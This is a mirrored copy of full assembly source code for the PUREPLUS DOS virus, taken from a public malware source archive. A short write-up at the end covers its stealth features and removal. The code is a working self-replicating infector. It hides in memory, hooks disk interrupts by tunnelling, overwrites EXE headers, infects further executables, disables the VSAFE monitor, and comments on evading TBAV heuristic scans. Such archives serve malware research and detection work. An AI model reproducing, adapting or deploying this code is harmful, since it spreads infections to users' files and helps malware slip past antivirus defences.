mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
509 lines
22 KiB
NASM
509 lines
22 KiB
NASM
cseg segment para public 'code'
|
|
pureplus proc near
|
|
assume cs:cseg
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
;designed by "Q" the misanthrope.
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
.186
|
|
|
|
ALLOCATE_HMA equ 04a02h
|
|
CLOSE_HANDLE equ 03e00h
|
|
COMMAND_LINE equ 080h
|
|
COM_OFFSET equ 00100h
|
|
CRITICAL_INT equ 024h
|
|
DENY_NONE equ 040h
|
|
DONT_SET_OFFSET equ 006h
|
|
DONT_SET_TIME equ 040h
|
|
DOS_INT equ 021h
|
|
DOS_SET_INT equ 02500h
|
|
EIGHTEEN_BYTES equ 012h
|
|
ENVIRONMENT equ 02ch
|
|
EXEC_PROGRAM equ 04b00h
|
|
EXE_SECTOR_SIZE equ 004h
|
|
EXE_SIGNATURE equ 'ZM'
|
|
FAIL equ 003h
|
|
FAR_INDEX_CALL equ 01effh
|
|
FILENAME_OFFSET equ 0001eh
|
|
FILE_OPEN_MODE equ 002h
|
|
FIND_FIRST equ 04e00h
|
|
FIND_NEXT equ 04f00h
|
|
FIRST_FCB equ 05ch
|
|
FLUSH_BUFFERS equ 00d00h
|
|
FOUR_BYTES equ 004h
|
|
GET_DTA equ 02f00h
|
|
GET_ERROR_LEVEL equ 04d00h
|
|
HARD_DISK_ONE equ 081h
|
|
HIDDEN equ 002h
|
|
HIGH_BYTE equ 00100h
|
|
HMA_SEGMENT equ 0ffffh
|
|
INT_13_VECTOR equ 0004ch
|
|
JOB_FILE_TABLE equ 01220h
|
|
KEEP_CF_INTACT equ 002h
|
|
KEYBOARD_INT equ 016h
|
|
MAX_SECTORS equ 078h
|
|
MULTIPLEX_INT equ 02fh
|
|
NEW_EXE_HEADER equ 00040h
|
|
NEW_EXE_OFFSET equ 018h
|
|
NULL equ 00000h
|
|
ONLY_READ equ 000h
|
|
ONLY_WRITE equ 001h
|
|
ONE_BYTE equ 001h
|
|
OPEN_W_HANDLE equ 03d00h
|
|
PARAMETER_TABLE equ 001f1h
|
|
READ_A_SECTOR equ 00201h
|
|
READ_ONLY equ 001h
|
|
READ_W_HANDLE equ 03f00h
|
|
REMOVE_NOP equ 001h
|
|
RESET_CACHE equ 00001h
|
|
RESIZE_MEMORY equ 04a00h
|
|
SECOND_FCB equ 06ch
|
|
SECTOR_SIZE equ 00200h
|
|
SETVER_SIZE equ 018h
|
|
SHORT_JUMP equ 0ebh
|
|
SIX_BYTES equ 006h
|
|
SMARTDRV equ 04a10h
|
|
SYSTEM equ 004h
|
|
SYS_FILE_TABLE equ 01216h
|
|
TERMINATE_W_ERR equ 04c00h
|
|
THREE_BYTES equ 003h
|
|
TWENTY_HEX equ 020h
|
|
TWENTY_THREE equ 017h
|
|
TWO_BYTES equ 002h
|
|
UNINSTALL equ 05945h
|
|
UN_SINGLE_STEP equ not(00100h)
|
|
VERIFY_3SECTORS equ 00403h
|
|
VOLUME_LABEL equ 008h
|
|
VSAFE equ 0fa01h
|
|
WRITE_A_SECTOR equ 00301h
|
|
WRITE_W_HANDLE equ 04000h
|
|
XOR_CODE equ (SHORT_JUMP XOR (low(EXE_SIGNATURE)))*HIGH_BYTE
|
|
PURE_CODE_IS_AT equ 00147h
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
bios_seg segment at 0f000h ;just some dummy area that was needed
|
|
org 00000h ;to have the compilier make a far jmp
|
|
old_int_13_addr label word ;directive EAh later on
|
|
bios_seg ends
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
org COM_OFFSET ;com files seem to always start here
|
|
com_code:
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
jmp short disable_vsafe
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
dummy_exe_head dw SIX_BYTES,TWO_BYTES,NULL,TWENTY_HEX,ONE_BYTE,HMA_SEGMENT
|
|
dw NULL,NULL,NULL,NULL,NULL,TWENTY_HEX
|
|
;simple EXE header that we have imbedded the virii into
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
org PURE_CODE_IS_AT ;here because many exe files have 00's after this location
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
ax_cx_di_si_cld proc near ;sets varables for modifying sector
|
|
mov di,bx ;ES:BX is int 13 sector set di to bx
|
|
add di,PURE_CODE_IS_AT-COM_OFFSET
|
|
ax_cx_si_cld: call set_si ;get location of code in HMA
|
|
set_si: pop si ;and subtract the offset
|
|
sub si,word ptr (offset set_si)-word ptr (offset ax_cx_di_si_cld)
|
|
mov cx,COM_OFFSET+SECTOR_SIZE-PURE_CODE_IS_AT
|
|
mov ax,XOR_CODE ;ah is value to xor MZ to jmp 015C
|
|
das ;set zero flag for the compare later on
|
|
cld ;clear direction
|
|
ret
|
|
ax_cx_di_si_cld endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
org high(EXE_SIGNATURE)+TWO_BYTES+COM_OFFSET
|
|
;must be here because the MZ 4Dh,5Ah
|
|
;.EXE header identifier gets changed to
|
|
;jmp 015C EAh,5Ah by changing one byte
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
disable_vsafe proc near ;while we are here lets allow other virii
|
|
mov dx,UNINSTALL ;it sure is nice to have a simple
|
|
mov ax,VSAFE ;call to do this
|
|
int KEYBOARD_INT
|
|
disable_vsafe endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
alloc_memory proc near ;clear disk buffers so reads are done
|
|
mov ah,high(FLUSH_BUFFERS)
|
|
int DOS_INT ;from disk and not from memory
|
|
xor di,di ;set it to zero
|
|
mov ds,di ;to set the DS there
|
|
mov bh,high(SECTOR_SIZE)
|
|
dec di ;now set it to FFFFh
|
|
mov ax,ALLOCATE_HMA ;lets see how much memory is available
|
|
int MULTIPLEX_INT ;in the HMA - ES:DI points to begining
|
|
mov ax,SMARTDRV ;lets flush smartdrv as well for maximum
|
|
mov bx,RESET_CACHE ;infection. it sure is nice to have
|
|
int MULTIPLEX_INT ;a simple call to do this
|
|
mov bl,SIX_BYTES ;for setting int 1 to tunnel
|
|
inc di ;if dos <5.0 or no HMA di is FFFFh
|
|
jz find_name ;if no memory don't install
|
|
call ax_cx_si_cld ;get varables for copy to HMA
|
|
rep movs byte ptr es:[di],cs:[si]
|
|
alloc_memory endp ;then copy it to ES:DI in HMA
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
set_int_13 proc near ;setting int 1 vectors for tunnelling
|
|
mov ax,offset interrupt_one
|
|
xchg word ptr ds:[bx-TWO_BYTES],ax
|
|
push ax ;great way to set interrupts
|
|
push word ptr ds:[bx];just push them on the stack for latter
|
|
mov word ptr ds:[bx],cs
|
|
xchg cx,di ;cx was 0, di was last byte of HMA code
|
|
mov dl,HARD_DISK_ONE;doesn't really matter which drive
|
|
pushf ;save the flags with TF cleared
|
|
pushf ;push flags for simulated int 13 call
|
|
pushf ;push flags for setting TF
|
|
mov bp,sp ;get the stack pointer
|
|
mov ax,VERIFY_3SECTORS
|
|
or byte ptr ss:[bp+ONE_BYTE],al
|
|
popf ;set TF and direction and call int 13
|
|
dw FAR_INDEX_CALL,INT_13_VECTOR
|
|
popf ;restore flags
|
|
pop word ptr ds:[bx];and int 1 vectors back
|
|
pop word ptr ds:[bx-TWO_BYTES]
|
|
set_int_13 endp ;now int 13 has our code hooked into it
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
find_name proc near ;now lets find out who we are to reload
|
|
mov ds,word ptr cs:[bx+ENVIRONMENT-SIX_BYTES]
|
|
look_for_nulls: inc bx ;ourselves to see if we are cleaned on the fly
|
|
cmp word ptr ds:[bx-FOUR_BYTES],di
|
|
jne look_for_nulls ;the plan is to goto the end of our
|
|
find_name endp ;environment and look for 2 nulls
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
open_file proc near ;open current program and read header
|
|
push ds ;to see if the header was restored back
|
|
push bx ;save the program name on the stack
|
|
mov ch,THREE_BYTES ;read in 768 bytes of header
|
|
call open_n_read_exe ;open, read cx bytes, close file ds:bx
|
|
push cs ;set es to cs for compare of sector
|
|
pop es ;to infected sector
|
|
mov bx,dx ;get varables set correctly for compare
|
|
call convert_back ;compare them and convert them back
|
|
pop dx ;get file name again
|
|
pop ds
|
|
jne now_run_it ;if int 13 converted it back then run it
|
|
push ds ;else save file name again on stack
|
|
push dx
|
|
mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
|
|
call call_dos ;open current program for reads (don't set any alarms)
|
|
push bx ;save handle
|
|
int MULTIPLEX_INT ;get job file table for handle
|
|
mov dx,SYS_FILE_TABLE
|
|
xchg ax,dx ;done like this for anti TBAV hueristic scan
|
|
mov bl,byte ptr es:[di]
|
|
int MULTIPLEX_INT ;get SFT of handle to change ES:DI
|
|
pop bx ;get handle again
|
|
mov ch,high(SECTOR_SIZE)
|
|
mov ax,WRITE_W_HANDLE+DENY_NONE+ONLY_WRITE
|
|
cmpsw ;simple code to change open file to
|
|
stosb ;write back the cleaned header to file
|
|
mov dx,offset critical_error+COM_OFFSET
|
|
int DOS_INT ;this cleans the file if virii didn't load in HMA
|
|
or byte ptr es:[di+DONT_SET_OFFSET-THREE_BYTES],DONT_SET_TIME
|
|
call reclose_it ;set SFT to not change file date and time at close
|
|
pop dx ;get file name again from the stack
|
|
pop ds
|
|
open_file endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
now_run_it proc near ;setup the exec of current program again
|
|
push cs ;like a spawned file
|
|
pop es ;es now cs
|
|
mov bx,offset exec_table
|
|
mov ah,high(RESIZE_MEMORY)
|
|
int DOS_INT ;first resize memory
|
|
mov si,offset critical_error+COM_OFFSET+PARAMETER_TABLE
|
|
xchg bx,si ;set si to where the table varables are
|
|
mov di,bx ;set di to where 14 byte exec table is to be made
|
|
mov ax,EXEC_PROGRAM ;set ax for file execute
|
|
set_table: scasw ;advance 2 bytes in destination table
|
|
movs byte ptr es:[di],cs:[si]
|
|
scasb ;move a byte then check if next byte is nonzero
|
|
mov word ptr cs:[di],cs
|
|
je set_table ;fill in the code segment into table and jmp if still zero
|
|
call call_dos ;exec program again
|
|
mov ax,FIND_FIRST ;need to infect more EXE files
|
|
mov dx,offset exe_file_mask
|
|
mov cx,READ_ONLY+HIDDEN+SYSTEM+VOLUME_LABEL
|
|
find_next_file: call call_dos ;set cx to 15 to loop that many times
|
|
mov ah,high(GET_DTA);what was the old dta no need to set up a new one
|
|
int DOS_INT ;get it
|
|
add bx,FILENAME_OFFSET
|
|
push es ;get the filename into ds:bx
|
|
pop ds
|
|
call open_n_read_exe ;open, read cx bytes, close file ds:bx
|
|
mov ah,high(FIND_NEXT)
|
|
loop find_next_file ;loop until no more matches
|
|
done: mov ah,high(GET_ERROR_LEVEL)
|
|
int DOS_INT ;get spawned childs program errorlevel
|
|
mov ah,high(TERMINATE_W_ERR)
|
|
now_run_it endp ;and return with that same errorlevel
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
call_dos proc near ;routine to call dos
|
|
int DOS_INT ;call dos
|
|
jc done ;error in doing so then exit
|
|
xchg ax,bx ;set bx to ax for open file stuff
|
|
push cs ;set ds to cs
|
|
pop ds ;for all sorts of stuff
|
|
mov ax,JOB_FILE_TABLE
|
|
ret ;get job file table
|
|
call_dos endp ;(done here for anti TBAV hueristic scan)
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB
|
|
;these are used to create the 14 byte exec
|
|
;table to rerun program
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
open_n_read_exe proc near ;opens file at ds:bx reads cx bytes then closes
|
|
mov dx,bx ;set dx to bx for dos call to open file
|
|
mov ax,OPEN_W_HANDLE+DENY_NONE+ONLY_READ
|
|
call call_dos ;just open it for reading (don't sound any alarms)
|
|
mov dx,offset critical_error
|
|
mov ax,DOS_SET_INT+CRITICAL_INT
|
|
int DOS_INT ;see that the call_dos set ds to cs for setting critical error handler
|
|
inc dh ;just some dummy area outside in the heap to read the header of the file to
|
|
mov ah,high(READ_W_HANDLE)
|
|
int DOS_INT ;read it
|
|
reclose_it: mov ah,high(CLOSE_HANDLE)
|
|
jmp short call_dos ;goto close it
|
|
open_n_read_exe endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
interrupt_one proc far ;trace interrupt to imbed into int 13 chain at FFFF:????
|
|
cmp ax,VERIFY_3SECTORS
|
|
jne interrupt_ret ;if not doing int 13 stuff just leave
|
|
push ds ;push varables on stack
|
|
pusha
|
|
mov bp,sp ;make bp the sp
|
|
lds si,dword ptr ss:[bp+EIGHTEEN_BYTES]
|
|
cmp word ptr ds:[si+ONE_BYTE],FAR_INDEX_CALL
|
|
jne go_back ;compare the instruction to a far call function
|
|
mov si,word ptr ds:[si+THREE_BYTES]
|
|
cmp word ptr ds:[si+TWO_BYTES],HMA_SEGMENT
|
|
jne go_back ;compare the address of the call to segment FFFFh
|
|
cld ;if match then cx is pointing to the far call EAh at
|
|
mov di,cx ;the end of virii that needs to be updated
|
|
movsw ;move the address to our code
|
|
movsw ;far addresses are 4 bytes long
|
|
sub di,word ptr (offset far_ptr_addr)-word ptr (offset int_13_entry)
|
|
org $-REMOVE_NOP ;now patch in our code into the call chain. only need to change offset because segment is already FFFFh
|
|
mov word ptr ds:[si-FOUR_BYTES],di
|
|
and byte ptr ss:[bp+TWENTY_THREE],high(UN_SINGLE_STEP)
|
|
go_back: popa ;no longer need to singel step
|
|
pop ds ;pop off varables
|
|
critical_error: mov al,FAIL ;set al to fail for critical error handler (al is a fail 03h anyway from above code ax verify_3sectors 0403h)
|
|
interrupt_ret: iret ;dual useage of iret. critical error and int 1
|
|
interrupt_one endp ;after running int 1 routine through an int 13 chain we should be hooked in
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
exe_file_mask db '*.E*',NULL ;.EXE file mask (doesn't need to be specific) also anti TBAV hueristic scan
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
convert_back proc near ;will convert virii sector es:bx back to clean sector
|
|
call ax_cx_di_si_cld ;get all them varables
|
|
repe cmps byte ptr cs:[si],es:[di]
|
|
jne not_pure ;does it compare byte for byte with our code
|
|
xor byte ptr ds:[bx],ah
|
|
call ax_cx_di_si_cld ;if it does change the jmp 015C to an MZ EXE header signature
|
|
rep stosb ;and zero out all the code
|
|
not_pure: ret ;go back to where you once belonged
|
|
convert_back endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
convert_to proc near ;will convert sector ds:bx into virii infected
|
|
pusha ;save varables onto stack
|
|
stc ;say that we failed
|
|
pushf ;push failed onto the stack
|
|
mov ax,EXE_SIGNATURE;done this way for anti TBAV hueristic scan
|
|
cmp word ptr ds:[bx],ax
|
|
jne not_exe_header ;if not an EXE header then not interested
|
|
mov ax,word ptr ds:[bx+EXE_SECTOR_SIZE]
|
|
cmp ax,MAX_SECTORS ;is size of EXE small enough to run as a COM file
|
|
ja not_exe_header ;if not then not interested
|
|
cmp al,SETVER_SIZE ;was the file the length of SETVER.EXE if so then not interested
|
|
je not_exe_header ;(won't load correctly in CONFIG.SYS if SETVER.EXE is infected)
|
|
cmp word ptr ds:[bx+NEW_EXE_OFFSET],NEW_EXE_HEADER
|
|
jae not_exe_header ;was it a new EXE header (Windows etc) if so then not interested
|
|
call ax_cx_di_si_cld ;get all them varables
|
|
pusha ;save'em
|
|
repe scasb ;was there nothin but 00's at offset 71 to 512 of the sector
|
|
popa ;get'em again
|
|
jne not_exe_header ;if not then not interested
|
|
xor byte ptr ds:[bx],ah
|
|
rep movs byte ptr es:[di],cs:[si]
|
|
popf ;if all criteria were met for infection then modify sector in memory and insert virii
|
|
clc ;pop off the fail indicator
|
|
pushf ;and push on the passed indicator
|
|
not_exe_header: popf ;get passed/failed indicator
|
|
popa ;get varables from stack
|
|
ret ;go back to where you once belonged
|
|
convert_to endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
interrupt_13 proc far ;will read the sectors at es:bx and infect them if necessary and or clean them on the fly
|
|
int_13_entry: cmp ah,high(READ_A_SECTOR)
|
|
jb call_old_int_13 ;only interested in reads, writes and verifys
|
|
cmp ah,high(VERIFY_3SECTORS)
|
|
ja call_old_int_13 ;if otherwise then go to old int 13
|
|
push ds ;save ds
|
|
push es ;so we can make ds the same as es and save a few bytes
|
|
pop ds
|
|
call convert_to ;try to convert it to a virii sector
|
|
pushf ;set up for interrupt simulation
|
|
push cs ;push the cs onto the stack for the iret
|
|
call call_old_int_13 ;if command was to write then an infected write occured else memory got overwritten with the read
|
|
pushf ;save the result of the int 13 call
|
|
call convert_to ;does it need to be converted to a virii sector
|
|
pusha ;save the varables onto the stack
|
|
jc do_convertback ;if not then see if it needs cleaning
|
|
mov ax,WRITE_A_SECTOR
|
|
pushf ;now lets write the virii infected sector back to disk
|
|
push cs ;simulate an int 13 execution
|
|
call call_old_int_13 ;and do it
|
|
do_convertback: call convert_back ;does the sector need to be cleaned on the fly
|
|
popa ;if it just wrote to the disk then it will need to be cleaned
|
|
popf ;or if it is a virii infected sector then clean it
|
|
pop ds ;pop off the varables and the result of int 13 simulation done above
|
|
retf KEEP_CF_INTACT ;then leave this routine with the carry flag intact
|
|
interrupt_13 endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
signature db 'Q' ;must leave my calling card
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
org COM_OFFSET+SECTOR_SIZE-ONE_BYTE
|
|
;must be a far jmp at the last of the sector
|
|
;the address of the jmp is in the heap area
|
|
;and is filled in by the int 1 trace routine
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
call_old_int_13 proc near ;far call to actual int 13 that is loaded in the HMA by DOS
|
|
jmp far ptr old_int_13_addr
|
|
call_old_int_13 endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
org COM_OFFSET+SECTOR_SIZE
|
|
;overwrites the address of above but that address
|
|
;is not necessary until the virii goes resident in the HMA
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
goto_dos proc near ;this is our simple EXE file that we infected
|
|
mov ax,TERMINATE_W_ERR
|
|
nop ;it just simply ends
|
|
far_ptr_addr: int DOS_INT ;terminate program
|
|
goto_dos endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
pureplus endp ;close up and go home
|
|
cseg ends
|
|
end com_code
|
|
|
|
;-----------------------------------------------------------------------------
|
|
|
|
Virus Name: PUREPLUS
|
|
Aliases:
|
|
V Status: New, Research Viron
|
|
Discovery: March, 1994
|
|
Symptoms: None - Pure Stealth
|
|
Origin: USA
|
|
Eff Length: 441 Bytes
|
|
Type Code: OReE - Extended HMA Memory Resident Overwriting .EXE Infector
|
|
Detection Method: None
|
|
Removal Instructions: See Below
|
|
|
|
General Comments:
|
|
|
|
The PUREPLUS virus is a HMA memory resident overwriting direct action
|
|
infector. The virus is a pure 100% stealth virus with no detectable
|
|
symptoms. No file length increase; overwritten .EXE files execute
|
|
properly; no interrupts are directly hooked; no change in file date or
|
|
time; no change in available memory; INT 12 is not moved; no cross
|
|
linked files from CHKDSK; when resident the virus cleans programs on
|
|
the fly; works with all 80?86 processors; VSAFE.COM does not detect
|
|
any changes; Thunder Byte's Heuristic virus detection does not detect
|
|
the virus; Windows 3.1's built in warning about a possible virus does
|
|
not detect PUREPLUS.
|
|
|
|
The PUREPLUS is a variation of the PURE virus that will cause
|
|
VSAFE.COM to uninstall.
|
|
|
|
The PUREPLUS virus will only load if DOS=HIGH in the CONFIG.SYS file.
|
|
The first time an infected .EXE file is executed, the virus goes
|
|
memory resident in the HMA (High Memory Area). The hooking of INT 13
|
|
is accomplished using a tunnelling technique, so memory mapping
|
|
utilities will not map it to the virus in memory. It then reloads the
|
|
infected .EXE file, cleans it on the fly, then executes it. After the
|
|
program has been executed, PUREPLUS will attempt to infect 15 .EXE
|
|
files in the current directory.
|
|
|
|
If the PUREPLUS virus is unable to install in the HMA or clean the
|
|
infected .EXE on the fly, the virus will reopen the infected .EXE file
|
|
for read-only; modify the system file table for write; remove itself,
|
|
and then write the cleaned code back to the .EXE file. It then
|
|
reloads the clean .EXE file and executes it. The virus can not clean
|
|
itself on the fly if the disk is compressed with DBLSPACE or STACKER,
|
|
so it will clean the infected .EXE file and write it back. It will
|
|
also clean itself on an 8086 or 8088 processor.
|
|
|
|
It will infect an .EXE if it is executed, opened for any reason or
|
|
even copied. When an uninfected .EXE is copied, both the source and
|
|
destination .EXE file are infected.
|
|
|
|
The PUREPLUS virus overwrites the .EXE header if it meets certain
|
|
criteria. The .EXE file must be less than 62K. The file does not
|
|
have an extended .EXE header. The file is not SETVER.EXE. The .EXE
|
|
header must be all zeros from offset 71 to offset 512; this is where
|
|
the PUREPLUS virus writes it code. The PUREPLUS virus then changes
|
|
the .EXE header to a .COM file. Files that are READONLY can also be
|
|
infected.
|
|
|
|
To remove the virus from your system, change DOS=HIGH to DOS=LOW in
|
|
your CONFIG.SYS file. Reboot the system. Then run each .EXE file
|
|
less than 62k. The virus will remove itself from each .EXE program
|
|
when it is executed. Or, leave DOS=HIGH in you CONFIG.SYS; execute
|
|
an infected .EXE file, then use a tape backup unit to copy all your
|
|
files. The files on the tape have had the virus removed from them.
|
|
Change DOS=HIGH to DOS=LOW in your CONFIG.SYS file. Reboot the
|
|
system. Restore from tape all the files back to your system.
|